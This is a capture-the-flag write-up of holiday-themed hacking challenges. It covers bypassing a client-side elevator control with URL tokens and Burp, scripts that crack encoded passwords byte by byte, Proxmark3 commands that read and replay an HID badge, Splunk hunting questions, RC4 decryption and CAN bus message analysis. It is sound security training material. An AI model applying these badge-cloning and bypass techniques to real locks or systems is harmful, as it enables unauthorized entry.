Here's the floor we can go to given the colors we activate:

Green
- Lobby
- Talks
Green and red
- Workshop
- Roof access
Green, red, and yellow
- Santa's office

So, we need to find the bits and bobs to redirect the sparkle flow to the nozzles. Or do we...

First method: finding the bits and bobs

The first way to properly operate the Santavator is to roam around Santa's castle and find the bits and bobs.

You can find the broken candycane next to the entry:

The first hex nut is next to the Santavator:

The second one is next to the arcade, below the table (I removed the table so you could see):

The green light is outside, next to the Google booth:

With all these elements, we can light up the green nozzle, which means we can go to the talk floor:

The red light is next to track 7:

With this new light, we can now go to the roof, in the NetWars room. We're still missing the button to go to the workshop:

The yellow light is next to Santa's sleigh, on the roof:

And now we can light up every nozzle:

This is all well and fine, but it takes time, and we're still missing some key elements, namely the button that allows us to go to the workshop. There also seems to be a fingerprint scan to go up to Santa's office.

Do we really need to find every bits and bobs?

Second method: pretending we have the bits and bobs

Let's take a look at the control pannel. We can right click on it and select "Open this frame in a new tab".

We now see that the control pannel is loaded via the URL https://elevator.kringlecastle.com/?challenge=elevator&id=guid&username=yourusername&area=santavator1&location=1,2&tokens=candycane,elevator-key:

We can see that the URL has a tokens parameter, which seems to tell the control pannel what bits and bobs we found. For example, if I add greenlight at the end of the URL, presto, I now have a green light:

Awesome! Now, how can we find the name of the missing bits and bobs? Well, by looking at the source of the page, we can see that an app.js file is included. You can download said file here. By examining the file, we can find the name for the bits and bobs:

The broken candycane is candycane
The first hex nut is nut
The second hex nut is nut2
The green, red, and yellow lights are greenlight, redlight, and yellowlight
The missing workshop button is workshop-button

You can also get some funky stuff, like:

Portals, with portals
Marbles, which act like planets with a gravity field, with marble and marble2
A ball, with ball

There's even a besanta parameter that you can set:

const handleBtn4 = () => {
  const cover = document.querySelector('.print-cover');
  cover.classList.add('open');

  cover.addEventListener('click', () => {
    if (btn4.classList.contains('powered') && hasToken('besanta')) {

It must be the token that allows you to pass the fingerprint scan. Let's add all of this in the tokens parameter:

Bingo, we now have every bits and bobs! Now we can redirect the sparks to every nozzle, and get access to every floor, even Santa's office:

Funny enough, that is objective 10, but I didn't know it before I bypassed this security. Oh well ¯\_(ツ)_/¯

But do we really need to pretend to have every bits and bobs?

Third method: who needs bits and bobs, anyway

Let's take a look at the app.js code, to see how the control pannel decides which floor are accessible:

const renderTraps = () => {
  TRAPS.forEach((points, index) => {
    const fillLevel = pl.Math.clamp(PARTICLE_COUNTS[index].length / trapTargetCounts[index], 0, 1);
    const steppa = Math.floor(fillLevel / (1 / wireSteps[index]));
    wireElements[index].style.backgroundPosition = `0 ${ -wireElements[index].clientHeight * steppa }px`;
    ledElements[index].classList[fillLevel === 1 ? 'add' : 'remove']('on');
    powered[index] = fillLevel === 1;
  });

  btn1.classList[powered[2] ? 'add' : 'remove']('powered');
  btn3.classList[powered[2] ? 'add' : 'remove']('powered');

  btn2.classList[powered[2] && powered[0] && hasToken('workshop-button') ? 'add' : 'remove']('powered');
  btnr.classList[powered[2] && powered[0] ? 'add' : 'remove']('powered');

  btn4.classList[powered[2] && powered[1] && powered[0] ? 'add' : 'remove']('powered');

};

The JavaScript computes how much colored particles are redirected to their correct nozzle. It computes a fillLevel, which determines if the nozzle is fully filled (i.e. the fillLevel variable is equal to 1). If that's the case, the powered[index] variable is set to true. powered[2] is the green light, powered[1] is the yellow light, and powered[0] is the red light.

We can see that the different buttons are considered powered only if the corresponding lights are powered. For the button btn2, we also need the workshop button. And for the button btn4, we saw that we need the besanta token.

Since every thing is done client-side, we can modify the JavaScript so that everything is always powered on. However, since the fillLEvel variable is a const, we cannot modify it during runtime. So let's use Burp to:

Modify our app.js file when the browser requests it.
Modify our available tokens, so that we have workshop-button and besanta.

Now, we can use the Santavator to go to any floor:

There are many ways we can modify the app.js file to hijack the Santavator. For example, the floor we go to is determined by the HTML attribute data-floor set on each button:

const handleBtn = event => {
  const targetFloor = event.currentTarget.attributes['data-floor'].value;
  $.ajax({
    type: 'POST',
    url: POST_URL,
    dataType: 'json',
    contentType: 'application/json',
    data: JSON.stringify({
      targetFloor,
      id: getParams.id,
    }),
    success: (res, status) => {
      if (res.hash) {
        __POST_RESULTS__({
          resourceId: getParams.id || '1111',
          hash: res.hash,
          action: `goToFloor-${targetFloor}`,
        });
      }
    }
  });
}

  <div class="localstorage-error"><strong>Heads up:</strong> Your Santavator repair configuration cannot be accessed or saved in incognito mode.</div>
  <img class="f15btn found" src="images/floor1-5button.png">
  <div class="key"></div>
  <div class="print-cover"></div>
  <button class="btn btn1 active powered" data-floor="1">1</button>
  <button class="btn btn15 powered" data-floor="1.5">1.5</button>`
  <button class="btn btn2 powered" data-floor="2">2</button>
  <button class="btn btn3 powered" data-floor="3">3</button>
  <button class="btn btnr powered" data-floor="r">R</button>

Therefore we can, for example, light up the green nozzle, and then modify the button btn1, so that its data-floor attribute points to the floor we want to go to.

Objective 5:

Bushy Evergreen's Cranberry Pi Challenge

Opening the door

Help us get into the Speaker Unpreparedness Room!

The door is controlled by ./door, but it needs a password! If you can figure
out the password, it'll open the door right up!

Oh, and if you have extra time, maybe you can turn on the lights with ./lights
activate the vending machines with ./vending-machines? Those are a little
trickier, they have configuration files, but it'd help us a lot!

(You can do one now and come back to do the others later if you want)

We copied edit-able versions of everything into the ./lab/ folder, in case you
want to try EDITING or REMOVING the configuration files to see how the binaries
react.

Note: These don't require low-level reverse engineering, so you can put away IDA
and Ghidra (unless you WANT to use them!)
elf@29c6cc0288b7 ~ $

Let's launch the ./door executable:

elf@f0c0e42e2e48 ~ $ ./door
You look at the screen. It wants a password. You roll your eyes - the
password is probably stored right in the binary. There's gotta be a
tool for this...

What do you enter? >

"The password is probably stored right in the binary". Hmm, maybe we can find it using strings?

elf@f0c0e42e2e48 ~ $ strings ./door | grep -i password
/home/elf/doorYou look at the screen. It wants a password. You roll your eyes - the
password is probably stored right in the binary. There's gotta be a
Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r"
Beep boop invalid password

Let's try Op3nTheD00r:

elf@f0c0e42e2e48 ~ $ ./door
You look at the screen. It wants a password. You roll your eyes - the
password is probably stored right in the binary. There's gotta be a
tool for this...

What do you enter? > Op3nTheD00r
Checking......

Door opened!

Hurray, it worked!

Repairing the vending machines

The vending-machines executable reads a JSON configuration file:

elf@fd6550200a09 ~ $ ./vending-machines
The elves are hungry!

If the door's still closed or the lights are still off, you know because
you can hear them complaining about the turned-off vending machines!
You can probably make some friends if you can get them back on...

Loading configuration from: /home/elf/vending-machines.json
[snip]

Let's take a look:

elf@fd6550200a09 ~ $ cat vending-machines.json
{
  "name": "elf-maintenance",
  "password": "LVEdQPpBwr"
}

I first tried submitting the password as is, but got an error.

We're told to take a look in the ./lab/ folder, to get test configuration files, and see the behaviour of the executables when their configuration files are modified or missing. Let's delete vending-machines.json and see what happens:

elf@fd6550200a09 ~/lab $ ./vending-machines
The elves are hungry!

If the door's still closed or the lights are still off, you know because
you can hear them complaining about the turned-off vending machines!
You can probably make some friends if you can get them back on...

Loading configuration from: /home/elf/lab/vending-machines.json

I wonder what would happen if it couldn't find its config file? Maybe that's
something you could figure out in the lab...

ALERT! ALERT! Configuration file is missing! New Configuration File Creator Activated!

Please enter the name > elf-maintenance
Please enter the password > toor

If the configuration file is missing, a new one is generated, with our input for name and password. Let's see the generated configuration file:

elf@fd6550200a09 ~/lab $ cat ./vending-machines.json
{
  "name": "elf-maintenance",
  "password": "cjfy"
}

We can see that our toor password was encoded. Several things:

The length of the encoded password is the same as the plaintext password.
The encoding of a letter seems to depend on its position in the string. For example, the first and second o in toor were respectively encoded j and f.

Is a letter encoding value dependent only on its position in the string? Let's try something, like creating a configuration file with a value of taar:

elf@fd6550200a09 ~/lab $ cat vending-machines.json
{
  "name": "elf-maintenance",
  "password": "cVby"
}

Our t is still encoded as c, and our r as y. Each letter's encoding value seems to depend only on its position in the string. So, there seems to some kind of Vigenère cipher going on.

Here's something we can try:

We generate a password of one character.
We encode our password, and read the configuration file.
- If it matches the first character of our real password (in our case L), we know the first plain character.
- Otherwise, we try another character.
Once we have the first character, we move on to the second one, and so on.

Here's a Python code to perform this task:

#!/usr/bin/env python3

import string
import json
import os

ENC_PASSWORD = 'LVEdQPpBwr'

def main():
    plain_password = str()
    charset = string.printable

    for i in range(len(ENC_PASSWORD)):
        for c in charset:
            try:
                os.remove('vending-machines.json')
            except FileNotFoundError:
                pass
            candidate = plain_password + c
            os.system('echo "elf-maintenance\n{}" | ./vending-machines > /dev/null 2>&1'.format(candidate))
            with open('vending-machines.json', 'r') as f:
                vm_conf = json.load(f)
            enc_candidate = vm_conf['password']
            if enc_candidate[i] == ENC_PASSWORD[i]:
                print('Found a match! Character #{} is {}'.format(i, c))
                plain_password +=c
                break
        else:
            print('FOUND NO MATCH FOR INDEX {}'.format(i))
            return -1

    print('Plain text password:', plain_password)

    return

if __name__ == '__main__':
    main()

Let's run it. After approximately 10 minutes:

elf@fd6550200a09 ~/lab $ ./crack_vending_machines.py
Found a match! Character #0 is C
Found a match! Character #1 is a
Found a match! Character #2 is n
Found a match! Character #3 is d
Found a match! Character #4 is y
Found a match! Character #5 is C
Found a match! Character #6 is a
Found a match! Character #7 is n
Found a match! Character #8 is e
Found a match! Character #9 is 1
Plain text password: CandyCane1

We got a match! And it seems to make sense. Let's try CandyCane1:

elf@fd6550200a09 ~ $ ./vending-machines
The elves are hungry!

If the door's still closed or the lights are still off, you know because
you can hear them complaining about the turned-off vending machines!
You can probably make some friends if you can get them back on...

Loading configuration from: /home/elf/vending-machines.json

I wonder what would happen if it couldn't find its config file? Maybe that's
something you could figure out in the lab...

Welcome, elf-maintenance! It looks like you want to turn the vending machines back on?
Please enter the vending-machine-back-on code > CandyCane1
Checking......

Vending machines enabled!!

Yay, now we can eat snacks!

Turning the lights on

The lights executable also reads a configuration file:

elf@7e9797985297 ~ $ ./lights
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)

You wonder how to turn the lights on? If only you had some kind of hin---

 >>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lights.conf

---t to help figure out the password... I guess you'll just have to make do!

The terminal just blinks: Welcome back, elf-technician

What do you enter? >

Let's take a look at it:

elf@7e9797985297 ~ $ cat ./lights.conf
password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: elf-technician

As for the vending machines, let's go in the lab folder to tinker with this configuration file. First, let's try to remove it:

elf@7e9797985297 ~/lab $ rm ./lights.conf
elf@7e9797985297 ~/lab $ ./lights

ERROR: Could not load /home/elf/lab/lights.conf

The program simply refuses to launch. Let's restore the configuration file:

elf@7e9797985297 ~/lab $ cp ../lights.conf ./lights.conf

Now let's try to modify the password field. With some testing, we can kind of figure out that the E$ indicates that the password is an encrypted field. Let's try to modify the value that comes after that:

elf@7e9797985297 ~/lab $ cat lights.conf
password: E$e
name: elf-technician
elf@7e9797985297 ~/lab $ ./lights
Failed to parse key `password`: OddLength
Password is missing from config file!

The parsing failed, because we only left an e. The password field is probably hex-encoded, and therefore the parsing fails if there's an odd number of characters. So let's keep the length even:

elf@7e9797985297 ~/lab $ cat ./lights.conf
password: E$ed
name: elf-technician
elf@7e9797985297 ~/lab $ ./lights
Password is missing from config file!

Hmm, that's weird, the lights program seems to consider that there is no password in the configuration file. Let's keep adding bytes to the password field. We get the same error message, until:

elf@7e9797985297 ~/lab $ cat lights.conf
password: E$ed633d885dcb9b2f
name: elf-technician
elf@7e9797985297 ~/lab $ ./lights
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)

You wonder how to turn the lights on? If only you had some kind of hin---

 >>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lab/lights.conf

---t to help figure out the password... I guess you'll just have to make do!

The terminal just blinks: Welcome back, elf-technician

What do you enter? >
Checking......
That would have turned on the lights!

If you've figured out the real password, be sure you run /home/elf/lights

With a value of E$ed633d885dcb9b2f, the program accepts an empty password. So maybe, the beginning of the field is some kind of encryption key, and the rest is the encrypted password.

Let's add one more byte to the password field:

elf@7e9797985297 ~/lab $ cat lights.conf
password: E$ed633d885dcb9b2f3f
name: elf-technician

We keep trying one-character long password until:

What do you enter? > C
Checking......
That would have turned on the lights!

Ha! The first character seems to be a C. Let's add another byte and see if we can find the second character:

elf@7e9797985297 ~/lab $ cat lights.conf
password: E$ed633d885dcb9b2f3f01
name: elf-technician

After a while:

What do you enter? > Co
Checking......
That would have turned on the lights!

So, the password begins with Co. Just like with the vending machines, we seem to be able to decrypt the password byte by byte. Let's adapt our previous script for cracking the lights' password:

#!/usr/bin/env python3

import string
import subprocess

CONFIG_FILE_TEMPLATE = '''password: E$ed633d885dcb9b2f{}
name: elf-technician
'''
ENC_PASSWORD = '3f0118361de4d57752712c27c5316a95d9e5e5b124'

def main():
    plain_password = str()
    charset = string.printable
    i = 0

    for i in range(len(ENC_PASSWORD)//2):
        config = CONFIG_FILE_TEMPLATE.format(ENC_PASSWORD[:2*(i+1)])
        with open('./lights.conf', 'w') as f:
            f.write(config)

        for c in charset:
            candidate = plain_password + c
            result = subprocess.run(['./lights'], stdout=subprocess.PIPE, input=candidate.encode('utf-8'))
            if 'Beep boop invalid password' not in result.stdout.decode('utf-8'):
                print('Found a match! Character #{} is {}'.format(i, c))
                plain_password +=c
                break
        else:
            print('FOUND NO MATCH FOR INDEX {}'.format(i))
            return -1

    print('Plain text password: ', plain_password)

    return

if __name__ == '__main__':
    main()

Let's run it. This script takes a bit more time than the previous one, since the password is twice as long:

elf@7e9797985297 ~ $ ./crack_lights.py
Found a match! Character #0 is C
Found a match! Character #1 is o
Found a match! Character #2 is m
Found a match! Character #3 is p
Found a match! Character #4 is u
Found a match! Character #5 is t
Found a match! Character #6 is e
Found a match! Character #7 is r
Found a match! Character #8 is -
Found a match! Character #9 is T
Found a match! Character #10 is u
Found a match! Character #11 is r
Found a match! Character #12 is n
Found a match! Character #13 is L
Found a match! Character #14 is i
Found a match! Character #15 is g
Found a match! Character #16 is h
Found a match! Character #17 is t
Found a match! Character #18 is s
Found a match! Character #19 is O
Found a match! Character #20 is n
Plain text password:  Computer-TurnLightsOn

We seem to have gotten a good password, let's try it:

elf@7e9797985297 ~ $ ./lights
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)

You wonder how to turn the lights on? If only you had some kind of hin---

 >>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lights.conf

---t to help figure out the password... I guess you'll just have to make do!

The terminal just blinks: Welcome back, elf-technician

What do you enter? > Computer-TurnLightsOn
Checking......

Lights on!

Let there be light!

Misty Candycane regex Challenge

Before we try to open the HID lock, let's give a hand to Misty Candycane and her Sort-o-Matic.

We're supposed to find regular expressions that match the desired values. I will detail the construction of non trivial regex. Regular expressions are an extremely useful tool, and I use them almost daily at my job. I highly encourage you to learn how to use them, they can be very powerful.

Here we go:

Matches at least one digit

\d+

Matches 3 alpha a-z characters ignoring case

[a-zA-Z]{3}

Matches 2 chars of lowercase a-z or numbers

[a-z0-9]{2}

Matches any 2 chars not uppercase A-L or 1-5

Here, we use the syntax [^...] to exclude characters from a character set: [^A-L1-5]{2}

Matches three or more digits only

^[0-9]{3,}$

Matches multiple hour:minute:second time formats only
Create a regular expression that only matches if the entire string is a valid Hour, Minute and Seconds time format similar to the following:
- 12:24:53
- 1:05:24
- 23:02:43
- 08:04:10
However, the following would be invalid:
- 25:30:86
- A1:E4:B5
- B2:13:4A
- 32:24:53
- 08:74:53
- 12:5:24

Ok, let's start with the hour value. It's a number between 0 and 23, and it can be a single digit or two digits:

0?[0-9] will take care of values between 0 and 9, with an optional (?) padding 0.
1[0-9] will take care of hours between 10 and 19.
2[0-3] will take care of hours between 20 and 23.

Let's put a pipe (|) between these different values, and we get our regex for the hours: (0?[0-9]|1[0-9]|2[0-3]).

Minutes and seconds are simple: they're a number between 0 and 59, and they're always on two digits: [0-5][0-9] works for both of them.

Now, we can take our three regex, separate them with our delimiter :, and surround everything with a ^ at the start and a $ at the end, so that it matches only our desired time formats:

^((0?[0-9]|1[0-9]|2[0-3]):[0-5][0-9]:[0-5][0-9])$

Matches MAC address format only while ignoring case

A MAC address is represented by six hex-encoded bytes, separated by :, e.g 11:22:33:44:55:66. One byte can be represented by [0-9a-fA-F]{2} (it always has a length of two characters).

Now, we could copy and paste this regex six times, and separate it with :. However, we can use a counter with {.} to avoid duplicate.

Let's take the following regex: ([0-9a-fA-F]{2}:){5}. With our example MAC address, this would match 11:22:33:44:55:. We can now copy/paste our byte regex (only one time!) to match the entire MAC address (and add ^ and $ to only match MAC addresses):

^([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}$

Matches multiple day, month, and year date formats only
Create a regular expression that only matches one of the three following day, month, and four digit year formats:
- 10/01/1978
- 01.10.1987
- 14-12-1991
However, the following values would be invalid formats:
- 05/25/89
- 12-32-1989
- 01.1.1989
- 1/1/1

Let's start with the days: they are a number between 1 and 31, on two digits:

0[1-9] takes care of days 1 through 9.
[12][0-9] takes care of days 10 to 29.
3[01] takes care of days 30 and 31.

Separated by pipes, this gives us the following regex for days: (0[1-9]|[12][0-9]|3[01]).

Now, for months: they are a number between 1 and 12, on two digits:

0[1-9] takes care of months 1 through 9.
1[0-2] takes care of months 10 through 12.

Separated by pipes, this gives us the following regex for months: (0[1-9]|1[0-2]).

And finally, the years: they're on a four digit-format, and given the examples, I've decided to restrict myself to 1900s: 19[0-9]{2} should do the trick.

Now, let's separate our different regex with a separator class, something like [./-], given the examples, and surround everything with ^ and $ to only match our wanted date formats:

^(0[1-9]|[12][0-9]|3[01])[./-](0[1-9]|1[0-2])[./-]19[0-9]{2}$

And the Sort-o-matic is fixed:

Open HID Lock

Now that we helped Bushy Evergreen, he gives us a Proxmark3. This is a handy tool that can be used to interact with HID badges. Maybe we can capture the ID of an HID badge, and replay it against the lock in the workshop? Hmm, but which badge should we capture?

The objective tells us that we can go ask Fitzy Shortstack for clues. First, we must help him light up the lights in the Christmas tree:

Fitzy Shortstack says

"Put it in the cloud," they said...

"It'll be great," they said...

All the lights on the Christmas trees throughout the castle are controlled through a remote server.

We can shuffle the colors of the lights by connecting via dial-up, but our only modem is broken!

Fortunately, I speak dial-up. However, I can't quite remember the handshake sequence.

Maybe you can help me out? The phone number is 756-8347; you can use this blue phone.

Here's what we get if we click on the phone:

He gives us the link to the audio of a dial-up connection. However, it's not suuuuper helpful, so I mainly found the solution via trial and error. Turns out the correct sequence is:

baa DEE brrr
aaah
wewewwrwrrwrr
beDURRdunditty
SCHHRRHHRTHRTR

After that, Fitzy is really grateful we helped him:

Fitzy Shortstack says

탢ݵרOُ񆨶$Ԩ؉楌Բ ahem! We did it! Thank you!!

Anytime you feel like changing the color scheme up, just pick up the phone!

You know, Santa really seems to trust Shinny Upatree...

Hmm, so Shinny Upatree seems to have the badge opening the HID lock in the workshop?

Turns out, if we take out our Proxmark next to an elf, we can see that they each have a badge. Let's read Shinny's badge:

[magicdust] pm3 --> lf hid read

#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025

Now, we can replay this ID next to the lock with the following command:

[magicdust] pm3 --> lf hid sim -r 2006e22f13
[=] Simulating HID tag using raw 2006e22f13
[=] Stopping simulation after 10 seconds.

Objective 6: Splunk Challenge

Once the door in the workshop is unlocked, we arrive into a dark room. We can see two ray of lights at the bottom. We advance and...

Holy sh*t, we're Santa now! Jack Frost's gift portrait seems to allow us to take control of Santa. We can run around the castle and interact with computers that were unavailable to us before! For example, we can go into the Great Room, and interact with the Splunk Server.

Answering the training questions

First question

How many distinct MITRE ATT&CK techniques did Alice emulate?

We can get the correct request from our chat with Alice:

I stored every simulation in its own index so you can just use a Splunk search like

tstats count where index=* by index

for starters!

So, let's head over the Splunk search interface and input this request:

We can now count the different attacks:

t1033
t1057
t1059.003
t1059.005
t1071.001
t1082
t1105
t1106
t1123
t1204.002
t1547.001
t1548.002
t1559.002
t1566.001

So thirteen in total.

Second question

What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003?

The indexes are t1059.003-main and t1059.003-win.

Third question

One technique that Santa had us simulate deals with 'system information discovery'. What is the full name of the registry key that is queried to determine the MachineGuid?

If we search the MITRE ATT&CK techniques, we can see that "System Information Discovery" is attack T1082. Let's filter on this index and on string MachineGuid in our search:

The registry key is HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography.

Fourth question

According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed?

Oooooooh boy, did I lose time with this one. The clue given by Alice is:

I suppose the SOC elves might overthink this one. Splunk Attack Range keeps track of the simulations that are run in

index=attack

You can then search that index for specific keywords...

I thought that the attack word in the clue was just a placeholder for the attack ID. So I search for atomic test ostap and found this file in Atomic Red Team Github's page. I then search for "OSTap" and found that the attacks related to this technique are T1105 and T1204.002. So I searched for these indexes in Splunk, with request query index="t1105*" OR index="t1204.002*" "ostap". I only got three events. I tried to submit the timestamps for these events in every format I could think of, but to no avail.

A kind soul in the chat helped me realize that the name of the index was attack. It was not a placeholder. It was the index I was supposed to search into all along. Anyway...

I used the search filter index=attack ostap | sort _time, to sort the events from earliest to latest, and submitted the timestamp of the first event, 2020-11-30T17:44:15Z.

Fifth question

One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?

We're kindly given the name of an open source contributor. Let's check their Github repositories. Out of the eight repositories, the most likely to be included in an attack (or attack simulation framework) is the PowerShell cmdlets used to control audio devices, AudioDeviceCmdlets. Indeed, the other repositories seem to be mainly personal notes or config files.

Let's search for this package in Atomic Red Team. We can see that we get one associated test, T1123. We can also see that the test use a different URL for the package, namely https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet. However, by going to this URL, we are redirected to our original package. But it may mean that Atomic Red Team uses a different name; for example WIndowsAudioDevice.

All these information lead us to build a search filter of index=t1123* EventCode=1 "WindowsAudioDevice":

Only two events! They seem to have occured at the same time, so let's take the one with the lowest id field, which must have occured first. We can see that the process id is 3648.

Sixth question

Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?

I actually solved this one without Splunk. There aren't many MITRE ATT&CK techniques that abuse Windows registry run keys. By searching for mitre att&ck windows registry run, we can find technique T1547.001, which uses Windows registry run keys to autostart malicious executable files at startup. If we look at this technique in Atomic Red Team Github's page, we see that the only .bat file used with a registry key is the one used in the Atomic Test #3. It seems to be hosted at https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat, and the last line is quser.

Seventh question

According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?

In the Splunk chat, Alice tells us to use the search filter index=* sourcetype=bro*. Let's search for this:

Only twelve different certificate serials. Now, we could try to submit each one, but where's the fun in that! We're asked for the serial of the domain controller, so let's take a look at the certificate subjects:

Now the first result, with a name of win-dc-748.attackrange.local seems to be a good candidate. Let's click on it:

We only have one serial left, 55FCEEBB21270D9249E86F4B9DC7AA60.

Answering the challenge question

And now, on to the big challenge question: What is the name of the adversary group that Santa feared would attack KringleCon?

We get this information from Alice in the chat:

This last one is encrypted using your favorite phrase! The base64 encoded ciphertext is:

7FXjP1lyfKbyDK/MChyf36h7

It's encrypted with an old algorithm that uses a key. We don't care about RFC 7465 up here! I leave it to the elves to determine which one!

RFC 7465 is the RFC prohibiting RC4 cipher suites. If Alice doesn't care about it, we can suppose that's what she used.

For the encryption key, she apparently used Santa's favorite phrase. What could it be?

I can't believe the Splunk folks put it in their talk!

If we head over to Splunk's Dave Herald's talk on Adversary Emulation and Automation, we're told that it's very important to Stay Frosty:

So this must be the encryption key. Let's whip up a little Python console to decrypt the string:

>>> from Crypto.Cipher import ARC4
>>> import base64
>>> encrypted_text = base64.b64decode('7FXjP1lyfKbyDK/MChyf36h7')
>>> key = b'Stay Frosty'
>>> cipher = ARC4.new(key)
>>> cipher.decrypt(encrypted_text)
b'The Lollipop Guild'

Santa was afraid that The Lollipop Guild would try and attack KringleCon this year.

Objective 7:

Wunorse Openslae's Cranberry Pi Challenge

Welcome to the CAN bus terminal challenge!
In your home folder, there's a CAN bus capture from Santa's sleigh. Some of
the data has been cleaned up, so don't worry - it isn't too noisy. What you
will see is a record of the engine idling up and down. Also in the data are
a LOCK signal, an UNLOCK signal, and one more LOCK. Can you find the UNLOCK?

We'd like to encode another key mechanism.
Find the decimal portion of the timestamp of the UNLOCK code in candump.log
and submit it to ./runtoanswer!  (e.g., if the timestamp is 123456.112233,
please submit 112233)

elf@cfa26cf03772:~$

I don't know anything about CAN buses, so I headed over Chris Elgee's KringleCon talk on the subject.

We can learn that CAN messages have a CAN ID, and data:

Let's take a look at the candump.log file:

$ head candump.log
(1608926660.800530) vcan0 244#0000000116
(1608926660.812774) vcan0 244#00000001D3
(1608926660.826327) vcan0 244#00000001A6
(1608926660.839338) vcan0 244#00000001A3
(1608926660.852786) vcan0 244#00000001B4
(1608926660.866754) vcan0 244#000000018E
(1608926660.879825) vcan0 244#000000015F
(1608926660.892934) vcan0 244#0000000103
(1608926660.904816) vcan0 244#0000000181
(1608926660.920799) vcan0 244#000000015F

The format of this log file seems to be:

(timestamp) can_interface can_id#data

Since different message types have different CAN IDs, let's see how many different CAN IDs we have:

$ awk '{print $3}' < candump.log | cut -d'#' -f 1 | sort | uniq -c | sort -nr
   1331 244
     35 188
      3 19B

CAN ID 19B only appears three times. Could it match with our LOCK, UNLOCK, LOCK sequence? Let's see the different messages with this ID:

$ grep '19B#' candump.log
(1608926664.626448) vcan0 19B#000000000000
(1608926671.122520) vcan0 19B#00000F000000
(1608926674.092148) vcan0 19B#000000000000

We get our three messages, where the first and last ones seem to be the same. This seems to corroborate our hypothesis! So this second message should be our UNLOCK sequence. Let's submit the decimal part of the timestamp:

$ elf@2f9d1e0b5c1f:~$ ./runtoanswer
There are two LOCK codes and one UNLOCK code in the log.  What is the decimal portion of t
he UNLOCK timestamp?
(e.g., if the timestamp of the UNLOCK were 1608926672.391456, you would enter 391456.
> 122520
Your answer: 122520

Checking....
Your answer is correct!

Solve the Sleigh's CAN-D-BUS Problem

We're told that Santa's Sleigh is behaving strangely, something to do with the CAN bus messages. Let's take a look under the hood. Everything is implemented via the candbus.js source file.

We can see that the communication is done via web sockets:

// WS connector to CAN-D-bus
if (location.protocol == 'https:'){
  var ws = new WebSocket('wss://' + document.domain + ':' + location.port + '/ws');
}
else {
  var ws = new WebSocket('ws://' + document.domain + ':' + location.port + '/ws');
}

Let's spin up Burp to take a look at the web sockets communication. First of all, we can see that we're receiving a constant stream of messages. Let's click on the buttons of the interface to see what messages are being sent:

Sliding the accelerator to 60:

{"Type":"Controls","ABSSS":[60, 0, 0, 0, 0, 0, 0 ]}

Sliding the brakes to 50:

{"Type":"Controls","ABSSS":[0, 50, 0, 0, 0, 0, 0 ]}

Sliding the steering wheel to -25:

{"Type":"Controls","ABSSS":[0, 0, -25, 0, 0, 0, 0 ]}

Pressing the "Start" button:

{"Type":"Controls","ABSSS":[0, 0, 0, 1, 0, 0, 0 ]}

Pressing the "Stop" button:

{"Type":"Controls","ABSSS":[0, 0, 0, 0, 1, 0, 0 ]}

Pressing the "Lock" button:

{"Type":"Controls","ABSSS":[0, 0, 0, 0, 0, 1, 0 ]}

Pressing the "Unlock" button:

{"Type":"Controls","ABSSS":[0, 0, 0, 0, 0, 0, 1 ]}

Pretty straightforward. Now let's see what messages are received when we perform the same actions.

Nothing happens if we set the accelerator to a non-zero value. We have to also press the "Start" button. Then, we keep getting spammed with messages of the form:

{"Type":"CAN-D-bus","Message":"244#000000118b"}
{"Type":"CAN-D-bus","Message":"244#00000011bc"}
{"Type":"CAN-D-bus","Message":"244#00000011bd"}
...

Several messages with CAN id 244. Let's convert the data from hex to decimal:

0x118b = 4491
0x11bc = 4540
0x11bd = 4541

It so happens that these values are closed to what we get on the speedometer:

We can check in the candbus.js file that messages with CAN id 244 are indeed for speed:

if (messageIn.Message.slice(0, 3) == "244") { // update tachometer if this is a tach message
  moveTachNeedle(messageIn.Message.slice(4, 14));
}

Pressing the "Stop" button sets the value back to 0:

{"Type":"CAN-D-bus","Message":"244#0000000000"}

Now, let's check the steering. If we put it to a value of -26, we get spammed with the following message:

{"Type":"CAN-D-bus","Message":"019#FFFFFFE7"}
{"Type":"CAN-D-bus","Message":"019#FFFFFFE8"}

We get a message with a CAN id of 019 and data around 0xFFFFFFE7. If may seem like a very large value, but it's actually a negative value in two's complement. You can use this website to compute two's complement values. 0xFFFFFFE7 and 0xFFFFFFE8 are respectively -25 and -24. Not exactly -26, I don't know why ¯\_(ツ)_/¯ but apparently close enough for the steering system.

Now, let's say we set the brakes value to 45, then we keep getting spammed with messages of the form:

{"Type":"CAN-D-bus","Message":"080#00002d"}

If we convert 0x2d to decimal, we get 45. So messages with CAN id 080 seem to be for the brakes value. However, we also see 080 messages with weird values:

{"Type":"CAN-D-bus","Message":"080#FFFFF3"}
{"Type":"CAN-D-bus","Message":"080#FFFFFD"}
{"Type":"CAN-D-bus","Message":"080#FFFFFA"}
...

That's weird. We get negative values in two's complement. But the brake slider only goes from 0 to 100, so we shouldn't get any negative values. So let's filter them out, with filter:

ID: 080. Operator: Less. Criterion: 000000000000.

If we press the "Lock" button, we get the following message:

{"Type":"CAN-D-bus","Message":"19B#000000000000"}

If we press the "Unlock" button, we get the following message:

{"Type":"CAN-D-bus","Message":"19B#00000F000000"}

